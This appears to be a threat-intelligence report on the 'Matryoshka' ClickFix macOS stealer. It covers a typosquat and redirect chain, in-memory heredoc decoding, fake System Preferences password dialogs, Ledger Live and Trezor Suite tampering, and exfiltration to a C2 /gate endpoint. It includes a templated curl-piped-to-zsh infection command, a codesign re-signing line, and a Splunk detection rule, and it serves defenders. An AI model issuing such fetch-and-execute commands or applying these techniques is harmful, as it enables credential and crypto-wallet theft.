# Matryoshka ClickFix macOS Variant — Nested Heredoc Obfuscation, AppleScript Credential Stealer, Trezor Suite Replacement, Ledger Live Surgical Patching, API-Gated C2

> Matryoshka is a macOS-specific ClickFix social engineering variant that uses nested obfuscation (like Russian nesting dolls) to deliver a credential-stealing and crypto wallet-hijacking payload. The attack chain: typosquatted domain (comparisions[.]org) → Traffic Distribution System redirect → fake 'paste this fix' prompt → victim pastes Terminal command → heredoc-encoded shell script → in-memory Base64+gunzip decode → API-gated C2 → AppleScript stealer targeting browser credentials, Trezor Suite, and Ledger Live. The stealer uses fake macOS 'System Preferences' dialogs for password phishing and surgically patches Ledger Live's Electron archive (app.asar) + re-signs the bundle. Discovered by Intego Antivirus Labs, February 2026.

- **Published:** 2026-02-16T14:19:22Z
- **Last reviewed:** 2026-02-16T14:19:22Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0120
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-matryoshka-macos-stealer-tl-2026-0120.webp?v=095e1ea6 (Threadlinqs threat intel: Matryoshka ClickFix macOS Wallet Stealer: Detection & IOCs (TL-2026-0120) — High severity, 24 IOCs, 12 detection rules.)
- **ID:** TL-2026-0120
- **Severity:** HIGH
- **Category:** PHISHING
- **Status:** ACTIVE
- **Actor:** Lazarus Group (North Korea)
- **Detections:** 12 (1 shown free below) · **IOCs:** 24 (3 shown free below)

## Description

Matryoshka is a sophisticated evolution of the ClickFix social engineering paradigm specifically targeting macOS users. Named after Russian nesting dolls (матрёшка) due to its nested obfuscation layers, this variant represents the first documented ClickFix campaign designed specifically for the macOS Terminal and AppleScript ecosystem.

**INFECTION VECTOR — TYPOSQUATTING + TDS:**
The attack begins when users mistype a legitimate URL. Intego observed comparisions[.]org (note extra 'i') mimicking comparisons.org (software review site). The typosquatted domain immediately redirects through a Traffic Distribution System (TDS) to a page presenting fake installation/fix instructions. Users are told to copy a command and paste it into their macOS Terminal.

Why this works: By pasting into Terminal, the user authorizes execution. This sidesteps macOS Gatekeeper, notarization checks, and download-and-launch security expectations that protect against traditional malware delivery.

**STAGE 0 — CLIPBOARD INJECTION:**
The pasted command retrieves a shell script from barbermoo[.]xyz containing a large encoded payload. The command appears benign: 'Installing packages please wait...' followed by a curl command piped to zsh.

**STAGE 1 — MATRYOSHKA WRAPPER (In-Memory Decode):**
The fetched script (rogue.sh) uses a heredoc structure to pass the payload through an in-memory pipeline: Base64 decode → gunzip → eval. The meaningful payload is nested inside an encoded/compressed blob and only becomes readable at runtime. No clean script file is written to disk — reducing visibility for file-based scanning and complicating static analysis. This is the core innovation giving the variant its name.

**STAGE 2 — API-GATED LOADER:**
The expanded loader implements sophisticated evasion:
1. Background detachment: Main routine runs in background, exits quickly. Terminal prompt returns immediately — victim believes the process finished.
2. Output suppression: stdin/stdout/stderr redirected to /dev/null — no visible artifacts in Terminal.
3. API-gated communication: Requests require a specific custom header (api-key: 5190ef17...) to receive meaningful C2 responses. Without the header, infrastructure returns generic errors or appears inactive — frustrates automated sandboxes.
4. Conditional forwarding: Script checks for arguments and can pass harvested data between stages.

**PAYLOAD — APPLESCRIPT STEALER:**
The C2 delivers an AppleScript payload (detected as trojan:AppleScript/Stealer.gen) with three capabilities:

A) PASSWORD CAPTURE VIA PHISHING LOOP:
First attempts programmatic credential theft. If unsuccessful, falls back to an interactive phishing loop: fake macOS 'System Preferences' dialog branded as 'Required Application Helper' repeatedly prompts for password with hidden input. The dialog loops until the victim complies — there is no 'cancel' escape that stops the malware.

B) CRYPTO WALLET TARGETING:
- Trezor Suite: Delete and replace — terminates process, removes legitimate app, downloads malicious replacement.
- Ledger Live: Surgical patching — replaces the Electron app.asar archive and metadata within the legitimate application bundle, then performs local ad-hoc re-signing (codesign -f -s -) to reduce integrity warnings. This is more subtle than full replacement — the app appears legitimate but the core logic is replaced.

C) EXFILTRATION + DECEPTION:
Collected data (browser credentials, wallet artifacts) staged to /tmp/osalogging.zip. Loader uploads via POST to C2 /gate endpoint. After exfiltration, displays fake error: 'Your Mac does not support this application' to misdirect victim and delay investigation.

**EVASION ANALYSIS:**
- In-memory only: Payload decoded and decompressed in memory, no disk artifacts for the obfuscated stages.
- API-gated C2: Custom header requirement defeats automated sandbox analysis.
- Quick Terminal return: Background detachment makes victim believe process completed normally.
- Output suppression: No Terminal output visible to user.
- Wallet re-signing: Ad-hoc codesign of tampered Ledger Live reduces macOS integrity warnings.
- Final deception: Fake error message provides cover story for the Terminal activity.

## MITRE ATT&CK

- T1566.002 Spearphishing Link
- T1204.001 Malicious Link
- T1059.002 AppleScript
- T1059.004 Unix Shell
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1036.005 Match Legitimate Resource Name or Location
- T1070.004 File Deletion
- T1553.002 Code Signing
- T1056.002 GUI Input Capture
- T1555.003 Credentials from Web Browsers
- T1560.001 Archive via Utility
- T1005 Data from Local System
- T1041 Exfiltration Over C2 Channel
- T1071.001 Web Protocols
- T1565.001 Stored Data Manipulation
- T1583.001 Domains
- T1608.001 Upload Malware
- T1115 Clipboard Data
- T1564.003 Hidden Window
- T1685 Disable or Modify Tools
- T1555 Credentials from Password Stores
- T1082 System Information Discovery
- T1480 Execution Guardrails

## Free detection (Splunk SPL)

**macOS Terminal Fetch-and-Execute Pattern — ClickFix curl|zsh/bash Self-Infection** (`TL-2026-0120-SPL-001`)

Detects the core Matryoshka ClickFix infection trigger: curl piped to zsh or bash from Terminal. The attack requires the victim to paste a command like 'curl -fsSL hxxp://[domain]/curl/[token] | zsh' into Terminal. This fetch-and-execute pattern is the universal indicator of ClickFix-style macOS attacks. Legitimate software installation via curl|bash exists (Homebrew, etc.) but is distinguishable by domain reputation and context.

- **Language:** Splunk SPL
- **ATT&CK:** T1204.001, T1059.004, T1071.001
- **Data sources:** osquery, crowdstrike_falcon, endpoint_detection
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=endpoint sourcetype="osquery:results" OR sourcetype="crowdstrike:events" name="process_events" | where match(cmdline, "(?i)curl.*\|\s*(zsh|bash|sh)") OR match(cmdline, "(?i)curl.*-[a-zA-Z]*s[a-zA-Z]*L.*\|.*sh") | eval risk=case(match(cmdline, "(?i)(barbermoo|comparisions|macfilesendstream)"), "CRITICAL — Known Matryoshka C2 domain in curl|zsh command", match(parent, "(?i)(Terminal|iTerm|Warp)"), "HIGH — Terminal-initiated curl|zsh (ClickFix self-infection pattern)", 1=1, "MEDIUM — curl piped to shell interpreter") | where risk!="MEDIUM" OR match(parent, "(?i)Terminal") | table _time host username parent path cmdline risk | sort -risk
```

**Known false positives:**

- Homebrew installation (curl from brew.sh)
- Legitimate developer tool installation scripts
- IT-approved automated provisioning scripts

**Tuning notes:** Whitelist known-legitimate curl|bash patterns: Homebrew (brew.sh), Rust (sh.rustup.rs), nvm, pyenv. The key discriminator is the DOMAIN being curled — known legitimate vs unknown/suspicious. For Matryoshka specifically, look for barbermoo[.]xyz, macfilesendstream[.]com, and comparisions[.]org. Also flag any curl|zsh where the parent process is Terminal.app and the user recently visited a typosquatted domain (correlate with proxy/DNS logs).

### 11 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- macOS Terminal Fetch-and-Execute via Defender for Endpoint — ClickFix Self-Infection (locked: unlock with TL Creds)
- Fake macOS System Dialog Credential Phishing — AppleScript GUI Input Capture (locked: unlock with TL Creds)
- Matryoshka Staging and Exfiltration — [indicator] Detection + C2 Communication (locked: unlock with TL Creds)
- macOS Terminal curl Piped to Shell — ClickFix Fetch-and-Execute Pattern (locked: unlock with TL Creds)
- AppleScript Credential Phishing Dialog — Fake System Preferences Password Capture (locked: unlock with TL Creds)
- Crypto Wallet Application Tampering on macOS — Ledger Live/Trezor Suite Integrity (locked: unlock with TL Creds)
- Threadlinqs Team Simulation Sigma — linux (Matryoshka Obfuscation Deep Dive — Heredoc In-Memory Decode ...) (locked: unlock with TL Creds)
- Threadlinqs Team Simulation Sigma — python (Matryoshka Prevention Framework — Crypto Wallet Integrity Ve...) (locked: unlock with TL Creds)
- Threadlinqs Team Simulation Sigma — windows (Matryoshka macOS ClickFix Kill Chain — Typosquatting Entry, ...) (locked: unlock with TL Creds)
- osascript Execution from Shell Context — AppleScript Payload Delivery Detection (locked: unlock with TL Creds)
- Crypto Wallet Application Tampering — Trezor Suite/Ledger Live Modification Detection (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 24)

Defanged, TLP:CLEAR.

- Domain: `barbermoo[.]xyz`
- File hash: `62ca9538889b767b1c3b93e76a32fb4469a2486cb3ccb5fb5fa8beb2dd0c2b90`
- Domain: `comparisions[.]org`

Full set of 24 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Intego — Unpacking the New 'Matryoshka' ClickFix Variant](https://www.intego.com/mac-security-blog/matryoshka-clickfix-macos-stealer/)
- [Cyber Security News — New ClickFix Variant 'Matryoshka' Attacking Users](https://cybersecuritynews.com/new-clickfix-variant-matryoshka-attacking-users/)
- [Intego — Fake Arc Browser with AppleScript Component (precedent)](https://www.intego.com/mac-security-blog/intego-malware-discovery-fake-arc-browser-with-unique-applescript-component/)
- [MITRE ATT&CK T1059.002 — AppleScript Execution](https://attack.mitre.org/techniques/T1059/002/)
- [MITRE ATT&CK T1204.001 — User Execution: Malicious Link](https://attack.mitre.org/techniques/T1204/001/)

## Full data

The other 11 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0120
